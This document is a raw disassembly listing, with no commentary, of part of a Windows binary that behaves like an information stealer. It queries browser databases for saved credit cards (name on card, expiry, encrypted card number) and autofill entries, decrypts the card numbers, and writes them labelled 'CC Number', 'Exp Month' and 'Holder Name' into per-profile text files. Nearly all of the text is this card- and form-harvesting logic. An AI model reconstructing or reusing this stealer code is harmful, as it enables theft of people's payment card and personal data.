mov word [rsp + 0xa8], r14w
mov rdx, qword [rsp + 0xa0]
cmp rdx, 7
jbe 0x14002c98a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c985
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e398
call fcn.14025e770
mov qword [rsp + 0x98], r14
mov qword [rsp + 0xa0], 7
mov word [rsp + 0x88], r14w
test bl, bl
je 0x14002d961
lea rcx, [rsp + 0x2698]
cmp qword [rsp + 0x26b0], 0xf
cmova rcx, qword [rsp + 0x2698]
lea rdx, [rsp + 0x2470]
call fcn.140180f50
mov rcx, qword [rsp + 0x2470]
test eax, eax
je 0x14002cc78
call fcn.14017ede0
nop
lea rcx, [rsp + 0x2698]
call fcn.140047270
nop
lea rcx, [rsp + 0x26e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2990]
call fcn.140006630
nop
lea rcx, [rsp + 0x30c0]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2768]
call fcn.140047270
nop
lea rcx, [rsp + 0x26d0]
call fcn.140043570
nop
lea rcx, [rsp + 0x26b8]
call fcn.1400439f0
nop
lea rcx, [rsp + 0x27a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2ef0]
call fcn.140010a80
nop
lea rcx, [rsp + 0x2748]
call fcn.140047270
nop
lea rcx, [rsp + 0x28a8]
call fcn.140047270
nop
movzx edx, byte [rsp + 0x2668]
lea rcx, [rsp + 0x2670]
call fcn.14004ed80
nop
mov rax, qword [rsp + 0x2d60]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d60], rsi
mov rax, qword [rsp + 0x2d60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x2d5c], edx
lea rcx, [rsp + 0x2d70]
call fcn.140041af0
mov rax, qword [rsp + 0x2d60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d60], rax
mov rax, qword [rsp + 0x2d60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x2d5c], edx
lea r12, vtable.std::ios_base.0
mov qword [rsp + 0x2e10], r12
lea rcx, [rsp + 0x2e10]
call fcn.140242ad4
nop
mov rdx, qword [rsp + 0x2740]
cmp rdx, 0xf
jbe 0x14002cb6e
inc rdx
mov rcx, qword [rsp + 0x2728]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002cb69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3ce
call fcn.14025e770
mov qword [rsp + 0x2738], r14
mov qword [rsp + 0x2740], 0xf
mov byte [rsp + 0x2728], 0
lea rcx, [rsp + 0x2888]
call fcn.140047270
nop
lea rcx, [rsp + 0x27e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2848]
call fcn.140047270
nop
lea rcx, [rsp + 0x2808]
call fcn.140047270
nop
lea rcx, [rsp + 0x2828]
call fcn.140047270
nop
lea rcx, [rsp + 0x2628]
call fcn.140047270
nop
lea rcx, [rsp + 0x2708]
call fcn.140006630
nop
lea rcx, [rsp + 0x2e70]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2648]
call fcn.140047270
nop
lea rcx, [rsp + 0x2868]
call fcn.140047270
nop
lea rdx, [rsp + 0x2618]
lea rcx, [rsp + 0x2618]
call fcn.14005f010
nop
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x25f0]
call fcn.14005f010
nop
lea rcx, [rsp + 0x2678]
call fcn.140047270
nop
lea rcx, [rsp + 0x28c8]
call fcn.140047270
nop
lea rdx, [rsp + 0x2608]
lea rcx, [rsp + 0x2608]
call fcn.14005f010
jmp 0x14002e275
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x2450]
mov r8d, 0xffffffff
lea rdx, str.SELECT_name_on_card__expiration_month__expiration_year__card_number_encrypted_FROM_credit_cards
call fcn.140181de0
test eax, eax
je 0x14002ce62
mov rcx, qword [rsp + 0x2470]
call fcn.14017ede0
nop
lea rcx, [rsp + 0x2698]
call fcn.140047270
nop
lea rcx, [rsp + 0x26e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2990]
call fcn.140006630
nop
lea rcx, [rsp + 0x30c0]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2768]
call fcn.140047270
nop
lea rcx, [rsp + 0x26d0]
call fcn.140043570
nop
lea rcx, [rsp + 0x26b8]
call fcn.1400439f0
nop
lea rcx, [rsp + 0x27a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2ef0]
call fcn.140010a80
nop
lea rcx, [rsp + 0x2748]
call fcn.140047270
nop
lea rcx, [rsp + 0x28a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2668]
call fcn.140043850
nop
lea rcx, [rsp + 0x2d60]
call fcn.140013180
nop
lea rcx, [rsp + 0x2728]
call fcn.140047270
nop
lea rcx, [rsp + 0x2888]
call fcn.140047270
nop
lea rcx, [rsp + 0x27e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2848]
call fcn.140047270
nop
lea rcx, [rsp + 0x2808]
call fcn.140047270
nop
lea rcx, [rsp + 0x2828]
call fcn.140047270
nop
lea rcx, [rsp + 0x2628]
call fcn.140047270
nop
lea rcx, [rsp + 0x2708]
call fcn.140006630
nop
lea rcx, [rsp + 0x2e70]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2648]
call fcn.140047270
nop
lea rcx, [rsp + 0x2868]
call fcn.140047270
nop
lea rdx, [rsp + 0x2618]
lea rcx, [rsp + 0x2618]
call fcn.14005f010
nop
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x25f0]
call fcn.14005f010
nop
lea rcx, [rsp + 0x2678]
call fcn.140047270
nop
lea rcx, [rsp + 0x28c8]
call fcn.140047270
nop
lea rdx, [rsp + 0x2608]
lea rcx, [rsp + 0x2608]
call fcn.14005f010
jmp 0x14002e275
xor r14d, r14d
mov rcx, qword [rsp + 0x2450]
call fcn.140182a40
cmp eax, 0x64
jne 0x14002d274
xor edx, edx
mov rcx, qword [rsp + 0x2450]
call fcn.140183030
mov r15, rax
mov edx, 1
mov rcx, qword [rsp + 0x2450]
call fcn.140183030
mov rsi, rax
mov edx, 2
mov rcx, qword [rsp + 0x2450]
call fcn.140183030
mov r14, rax
mov edx, 3
mov rcx, qword [rsp + 0x2450]
call fcn.140183030
mov rdi, rax
test rsi, rsi
je 0x14002ce5f
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rsi + rcx], 0
jne 0x14002ced5
test rcx, rcx
je 0x14002ce5f
test r14, r14
je 0x14002ce5f
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [r14 + rax], 0
jne 0x14002cf00
test rax, rax
je 0x14002ce5f
test rdi, rdi
je 0x14002ce5f
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdi + rax], 0
jne 0x14002cf23
test rax, rax
je 0x14002ce5f
mov r8, qword [rsp + 0x26c0]
mov rdx, qword [rsp + 0x26b8]
lea rcx, [rsp + 0x11d0]
call fcn.14005c1d0
mov rbx, rax
mov rdx, rdi
lea rcx, [rsp + 0x900]
call fcn.140011ee0
nop
mov r9, rbx
lea r8, [rsp + 0x900]
lea rdx, [rsp + 0x3060]
call fcn.14002e410
nop
lea rcx, [rsp + 0x900]
call fcn.140047270
nop
lea rcx, [rsp + 0x11d0]
call fcn.140047270
lea r8, str.Credit_Cards
lea rdx, [0x14035d6f0]
lea rcx, [rsp + 0x2b30]
call fcn.1400256d0
nop
lea rdx, [rsp + 0x2b30]
lea rcx, [rsp + 0x8e0]
call fcn.1400524f0
nop
lea rcx, [rsp + 0x8e0]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0x8e0]
call fcn.140006630
test bl, bl
jne 0x14002d01e
lea rdx, [rsp + 0x2b30]
lea rcx, [rsp + 0x8c0]
call fcn.1400524f0
nop
lea rcx, [rsp + 0x8c0]
call fcn.14000a170
nop
lea rcx, [rsp + 0x8c0]
call fcn.140006630
lea rcx, [rsp + 0x2b88]
call fcn.140046d30
nop
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
lea r8, [0x1402f30e0]
lea rdx, [rsp + 0x2b30]
test al, al
je 0x14002d0cb
lea rcx, [rsp + 0x1230]
call fcn.1400256d0
nop
lea r8, [rsp + 0x2708]
mov rdx, rax
lea rcx, [rsp + 0x1210]
call fcn.1400539c0
nop
lea r8, str._Default.txt
mov rdx, rax
lea rcx, [rsp + 0x11f0]
call fcn.140053950
mov rdx, rax
lea rcx, [rsp + 0x2b88]
call fcn.140046bb0
lea rcx, [rsp + 0x11f0]
call fcn.140006630
nop
lea rcx, [rsp + 0x1210]
call fcn.140006630
nop
lea rcx, [rsp + 0x1230]
jmp 0x14002d18a
lea rcx, [rsp + 0x12b0]
call fcn.1400256d0
nop
lea r8, [rsp + 0x2708]
mov rdx, rax
lea rcx, [rsp + 0x1290]
call fcn.1400539c0
nop
lea r8, [0x1402f5e3c]
mov rdx, rax
lea rcx, [rsp + 0x1270]
call fcn.140053950
nop
lea r8, [rsp + 0x2990]
mov rdx, rax
lea rcx, [rsp + 0x1250]
call fcn.1400539c0
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x1410]
call fcn.140053950
mov rdx, rax
lea rcx, [rsp + 0x2b88]
call fcn.140046bb0
lea rcx, [rsp + 0x1410]
call fcn.140006630
nop
lea rcx, [rsp + 0x1250]
call fcn.140006630
nop
lea rcx, [rsp + 0x1270]
call fcn.140006630
nop
lea rcx, [rsp + 0x1290]
call fcn.140006630
nop
lea rcx, [rsp + 0x12b0]
call fcn.140006630
lea rcx, [rsp + 0x3620]
call fcn.1400311a0
lea rdx, [rsp + 0x2b88]
lea rcx, [rsp + 0x3620]
call fcn.14003f230
nop
cmp qword [rsp + 0x36a8], 0
je 0x14002d6e2
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
je 0x14002d633
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0x8a0]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x8a0]
lea rcx, [rsp + 0x12d0]
call fcn.140026440
mov rdx, rax
mov rcx, r12
call fcn.140055450
movzx ebx, al
lea rcx, [rsp + 0x12d0]
call fcn.140047270
nop
lea rcx, [rsp + 0x8a0]
call fcn.140047270
test bl, bl
jne 0x14002d633
lea rcx, [rsp + 0x3620]
call fcn.140031100
nop
lea rcx, [rsp + 0x2b88]
call fcn.140006630
nop
lea rcx, [rsp + 0x2b30]
call fcn.140006630
nop
lea rcx, [rsp + 0x3060]
call fcn.140047270
nop
xor r14d, r14d
mov rcx, qword [rsp + 0x2450]
call fcn.140164c40
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x2450]
mov r8d, 0xffffffff
lea rdx, str.SELECT_name__value_FROM_autofill
mov rcx, qword [rsp + 0x2470]
call fcn.140181de0
test eax, eax
je 0x14002d470
mov rcx, qword [rsp + 0x2470]
call fcn.14017ede0
nop
lea rcx, [rsp + 0x2698]
call fcn.140047270
nop
lea rcx, [rsp + 0x26e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2990]
call fcn.140006630
nop
lea rcx, [rsp + 0x30c0]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2768]
call fcn.140047270
nop
lea rcx, [rsp + 0x26d0]
call fcn.140043570
nop
lea rcx, [rsp + 0x26b8]
call fcn.1400439f0
nop
lea rcx, [rsp + 0x27a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2ef0]
call fcn.140010a80
nop
lea rcx, [rsp + 0x2748]
call fcn.140047270
nop
lea rcx, [rsp + 0x28a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2668]
call fcn.140043850
nop
lea rcx, [rsp + 0x2d60]
call fcn.140013180
nop
lea rcx, [rsp + 0x2728]
call fcn.140047270
nop
lea rcx, [rsp + 0x2888]
call fcn.140047270
nop
lea rcx, [rsp + 0x27e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2848]
call fcn.140047270
nop
lea rcx, [rsp + 0x2808]
call fcn.140047270
nop
lea rcx, [rsp + 0x2828]
call fcn.140047270
nop
lea rcx, [rsp + 0x2628]
call fcn.140047270
nop
lea rcx, [rsp + 0x2708]
call fcn.140006630
nop
lea rcx, [rsp + 0x2e70]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2648]
call fcn.140047270
nop
lea rcx, [rsp + 0x2868]
call fcn.140047270
nop
lea rdx, [rsp + 0x2618]
lea rcx, [rsp + 0x2618]
call fcn.14005f010
nop
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x25f0]
call fcn.14005f010
nop
lea rcx, [rsp + 0x2678]
call fcn.140047270
nop
lea rcx, [rsp + 0x28c8]
call fcn.140047270
nop
lea rdx, [rsp + 0x2608]
lea rcx, [rsp + 0x2608]
call fcn.14005f010
jmp 0x14002e275
mov r15d, dword [rsp + 0x40]
nop word [rax + rax]
mov rcx, qword [rsp + 0x2450]
call fcn.140182a40
cmp eax, 0x64
jne 0x14002d8d1
xor edx, edx
mov rcx, qword [rsp + 0x2450]
call fcn.140183030
mov rdi, rax
mov edx, 1
mov rcx, qword [rsp + 0x2450]
call fcn.140183030
mov rsi, rax
test rdi, rdi
je 0x14002d480
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rdi + rcx], 0
jne 0x14002d4d0
test rcx, rcx
je 0x14002d480
test rsi, rsi
je 0x14002d480
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x14002d4f0
test rax, rax
je 0x14002d480
lea r8, str.Autofill
lea rdx, [0x14035d6f0]
lea rcx, [rsp + 0x2b10]
call fcn.1400256d0
nop
lea rdx, [rsp + 0x2b10]
lea rcx, [rsp + 0x880]
call fcn.1400524f0
nop
lea rcx, [rsp + 0x880]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0x880]
call fcn.140006630
test bl, bl
jne 0x14002d582
lea rdx, [rsp + 0x2b10]
lea rcx, [rsp + 0x860]
call fcn.1400524f0
nop
lea rcx, [rsp + 0x860]
call fcn.14000a170
nop
lea rcx, [rsp + 0x860]
call fcn.140006630
lea rcx, [rsp + 0x2ba8]
call fcn.140046d30
nop
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
lea r8, [0x1402f30e0]
lea rdx, [rsp + 0x2b10]
test al, al
je 0x14002d739
lea rcx, [rsp + 0x1330]
call fcn.1400256d0
nop
lea r8, [rsp + 0x2708]
mov rdx, rax
lea rcx, [rsp + 0x1310]
call fcn.1400539c0
nop
lea r8, str._Default.txt
mov rdx, rax
lea rcx, [rsp + 0x12f0]
call fcn.140053950
mov rdx, rax
lea rcx, [rsp + 0x2ba8]
call fcn.140046bb0
lea rcx, [rsp + 0x12f0]
call fcn.140006630
nop
lea rcx, [rsp + 0x1310]
call fcn.140006630
nop
lea rcx, [rsp + 0x1330]
jmp 0x14002d7f8
lea rdx, str.CC_Number_:
lea rcx, [rsp + 0x3620]
call fcn.140053ef0
lea rdx, [rsp + 0x3060]
mov rcx, rax
call fcn.140053ed0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.Exp_Month_:
lea rcx, [rsp + 0x3620]
call fcn.140053ef0
mov rdx, rsi
mov rcx, rax
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.Exp_Year_:
lea rcx, [rsp + 0x3620]
call fcn.140053ef0
mov rdx, r14
mov rcx, rax
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.Holder_Name_:
lea rcx, [rsp + 0x3620]
call fcn.140053ef0
mov rdx, r15
mov rcx, rax
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rcx, [rsp + 0x3620]
call fcn.14003f190
nop
lea rcx, [rsp + 0x3620]
call fcn.140031100
nop
lea rcx, [rsp + 0x2b88]
call fcn.140006630
nop
lea rcx, [rsp + 0x2b30]
call fcn.140006630
nop
lea rcx, [rsp + 0x3060]
call fcn.140047270
nop
jmp 0x14002ce5f
lea rcx, [rsp + 0x13d0]
call fcn.1400256d0
nop
lea r8, [rsp + 0x2708]
mov rdx, rax
lea rcx, [rsp + 0x13b0]
call fcn.1400539c0
nop
lea r8, [0x1402f5e3c]
mov rdx, rax
lea rcx, [rsp + 0x1390]
call fcn.140053950
nop
lea r8, [rsp + 0x2990]
mov rdx, rax
lea rcx, [rsp + 0x1370]
call fcn.1400539c0
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x1350]
call fcn.140053950
mov rdx, rax
lea rcx, [rsp + 0x2ba8]
call fcn.140046bb0
lea rcx, [rsp + 0x1350]
call fcn.140006630
nop
lea rcx, [rsp + 0x1370]
call fcn.140006630
nop
lea rcx, [rsp + 0x1390]
call fcn.140006630
nop
lea rcx, [rsp + 0x13b0]
call fcn.140006630
nop
lea rcx, [rsp + 0x13d0]
call fcn.140006630
lea rcx, [rsp + 0x3840]
call fcn.1400311a0
lea rdx, [rsp + 0x2ba8]
lea rcx, [rsp + 0x3840]
call fcn.14003f230
nop
cmp qword [rsp + 0x38c8], 0
je 0x14002da24
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
je 0x14002d9ac
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0x840]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x840]
lea rcx, [rsp + 0x13f0]
call fcn.140026440
mov rdx, rax
mov rcx, r12
call fcn.140055450
movzx ebx, al
lea rcx, [rsp + 0x13f0]
call fcn.140047270
nop
lea rcx, [rsp + 0x840]
call fcn.140047270
test bl, bl
jne 0x14002d9ac
lea rcx, [rsp + 0x3840]
call fcn.140031100
nop
lea rcx, [rsp + 0x2ba8]
call fcn.140006630
nop
lea rcx, [rsp + 0x2b10]
call fcn.140006630
nop
mov rcx, qword [rsp + 0x2450]
call fcn.140164c40
mov rcx, qword [rsp + 0x2470]
call fcn.14017ede0
lea rdx, [rsp + 0x2698]
lea rcx, [rsp + 0x820]
call fcn.14005bb10
nop
lea rcx, [rsp + 0x820]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0x820]
call fcn.140006630
test bl, bl
je 0x14002d953
lea rdx, [rsp + 0x2698]
lea rcx, [rsp + 0x800]
call fcn.14005bb10
nop
lea rcx, [rsp + 0x800]
call fcn.140009f30
nop
lea rcx, [rsp + 0x800]
call fcn.140006630
lea rdi, [0x1402f5bdc]
lea rsi, [0x140343cb0]
mov rdx, qword [rsp + 0x26b0]
cmp rdx, 0xf
jbe 0x14002da77
inc rdx
mov rcx, qword [rsp + 0x2698]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002da72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e39e
jmp 0x14002da72
lea rdx, str.NAME_:
lea rcx, [rsp + 0x3840]
call fcn.140053ef0
mov rdx, rdi
mov rcx, rax
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.VALUE_:
lea rcx, [rsp + 0x3840]
call fcn.140053ef0
mov rdx, rsi
mov rcx, rax
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.__________________________________
lea rcx, [rsp + 0x3840]
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rcx, [rsp + 0x3840]
call fcn.14003f190
nop
lea rcx, [rsp + 0x3840]
call fcn.140031100
nop
lea rcx, [rsp + 0x2ba8]
call fcn.140006630
nop
lea rcx, [rsp + 0x2b10]
call fcn.140006630
nop
jmp 0x14002d480
call fcn.14025e770
mov qword [rsp + 0x26a8], r14
mov qword [rsp + 0x26b0], 0xf
mov byte [rsp + 0x2698], 0
mov rdx, qword [rsp + 0x2700]
cmp rdx, 0xf
jbe 0x14002dad6
inc rdx
mov rcx, qword [rsp + 0x26e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002dad1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3a4
call fcn.14025e770
mov qword [rsp + 0x26f8], r14
mov qword [rsp + 0x2700], 0xf
mov byte [rsp + 0x26e8], 0
mov rdx, qword [rsp + 0x29a8]
cmp rdx, 7
jbe 0x14002db3a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2990]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002db35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3aa
call fcn.14025e770
mov qword [rsp + 0x29a0], r14
mov qword [rsp + 0x29a8], 7
mov word [rsp + 0x2990], r14w
lea rcx, [rsp + 0x30c0]
call fcn.14003f6d0
nop
mov rdx, qword [rsp + 0x2780]
cmp rdx, 0xf
jbe 0x14002dba8
inc rdx
mov rcx, qword [rsp + 0x2768]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002dba3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3b0
call fcn.14025e770
mov qword [rsp + 0x2778], r14
mov qword [rsp + 0x2780], 0xf
mov byte [rsp + 0x2768], 0
add r13, 0x20
jmp 0x14002b9ba
lea rcx, [rsp + 0x26d0]
call fcn.140043570
nop
mov rcx, qword [rsp + 0x26b8]
test rcx, rcx
je 0x14002dc31
mov rdx, qword [rsp + 0x26c8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002dc18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3b6
call fcn.14025e770
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x26b8], xmm0
mov qword [rsp + 0x26c8], r14
lea rsi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
lea r12, vtable.std::ios_base.0
lea r13, [0x1402f5bdc]
mov rdx, qword [rsp + 0x27c0]
cmp rdx, 0xf
jbe 0x14002dc89
inc rdx
mov rcx, qword [rsp + 0x27a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002dc84
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3bc
call fcn.14025e770
mov qword [rsp + 0x27b8], r14
mov qword [rsp + 0x27c0], 0xf
mov byte [rsp + 0x27a8], 0
lea rax, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.0
mov qword [rsp + 0x2ef0], rax
lea rax, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.1.0
mov qword [rsp + 0x2ef8], rax
mov rcx, qword [rsp + 0x2f08]
test rcx, rcx
je 0x14002dcdf
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, 1
call r8
nop
mov rdx, qword [rsp + 0x2760]
cmp rdx, 0xf
jbe 0x14002dd22
inc rdx
mov rcx, qword [rsp + 0x2748]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002dd1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3c2
call fcn.14025e770
mov qword [rsp + 0x2758], r14
mov qword [rsp + 0x2760], 0xf
mov byte [rsp + 0x2748], 0
mov rdx, qword [rsp + 0x28c0]
cmp rdx, 0xf
jbe 0x14002dd81
inc rdx
mov rcx, qword [rsp + 0x28a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002dd7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3c8
call fcn.14025e770
mov qword [rsp + 0x28b8], r14
mov qword [rsp + 0x28c0], 0xf
mov byte [rsp + 0x28a8], 0
movzx edx, byte [rsp + 0x2668]
lea rcx, [rsp + 0x2670]
call fcn.14004ed80
nop
mov rax, qword [rsp + 0x2d60]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x2d60], rsi
mov rax, qword [rsp + 0x2d60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x2d5c], edx
lea rcx, [rsp + 0x2d70]
call fcn.140041af0
mov rax, qword [rsp + 0x2d60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d60], rax
mov rax, qword [rsp + 0x2d60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x2d5c], edx
mov qword [rsp + 0x2e10], r12
lea rcx, [rsp + 0x2e10]
call fcn.140242ad4
nop
mov rdx, qword [rsp + 0x2740]
cmp rdx, 0xf
jbe 0x14002de77
inc rdx
mov rcx, qword [rsp + 0x2728]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002de72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3ce
call fcn.14025e770
mov qword [rsp + 0x2738], r14
mov qword [rsp + 0x2740], 0xf
mov byte [rsp + 0x2728], 0
mov rdx, qword [rsp + 0x28a0]
cmp rdx, 0xf
jbe 0x14002ded6
inc rdx
mov rcx, qword [rsp + 0x2888]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ded1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3d4
call fcn.14025e770
mov qword [rsp + 0x2898], r14
mov qword [rsp + 0x28a0], 0xf
mov byte [rsp + 0x2888], 0
mov rdx, qword [rsp + 0x2800]
cmp rdx, 0xf
jbe 0x14002df35
inc rdx
mov rcx, qword [rsp + 0x27e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002df30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3da
call fcn.14025e770
mov qword [rsp + 0x27f8], r14
mov qword [rsp + 0x2800], 0xf
mov byte [rsp + 0x27e8], 0
mov rdx, qword [rsp + 0x2860]
cmp rdx, 0xf
jbe 0x14002df94
inc rdx
mov rcx, qword [rsp + 0x2848]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002df8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3e0
call fcn.14025e770
mov qword [rsp + 0x2858], r14
mov qword [rsp + 0x2860], 0xf
mov byte [rsp + 0x2848], 0
mov rdx, qword [rsp + 0x2820]
cmp rdx, 0xf
jbe 0x14002dff3
inc rdx
mov rcx, qword [rsp + 0x2808]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002dfee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3e6
call fcn.14025e770
mov qword [rsp + 0x2818], r14
mov qword [rsp + 0x2820], 0xf
mov byte [rsp + 0x2808], 0
mov rdx, qword [rsp + 0x2840]
cmp rdx, 0xf
jbe 0x14002e052
inc rdx
mov rcx, qword [rsp + 0x2828]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e04d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3ec
call fcn.14025e770
mov qword [rsp + 0x2838], r14
mov qword [rsp + 0x2840], 0xf
mov byte [rsp + 0x2828], 0
mov rdx, qword [rsp + 0x2640]
cmp rdx, 0xf
jbe 0x14002e0b1
inc rdx
mov rcx, qword [rsp + 0x2628]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e0ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3f2
call fcn.14025e770
mov qword [rsp + 0x2638], r14
mov qword [rsp + 0x2640], 0xf
mov byte [rsp + 0x2628], 0
mov rdx, qword [rsp + 0x2720]
cmp rdx, 7
jbe 0x14002e115
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2708]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e110
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3f8
call fcn.14025e770
mov qword [rsp + 0x2718], r14
mov qword [rsp + 0x2720], 7
mov word [rsp + 0x2708], r14w
lea rcx, [rsp + 0x2e70]
call fcn.14003f6d0
nop
mov rdx, qword [rsp + 0x2660]
cmp rdx, 0xf
jbe 0x14002e183
inc rdx
mov rcx, qword [rsp + 0x2648]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e17e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e3fe
call fcn.14025e770
mov qword [rsp + 0x2658], r14
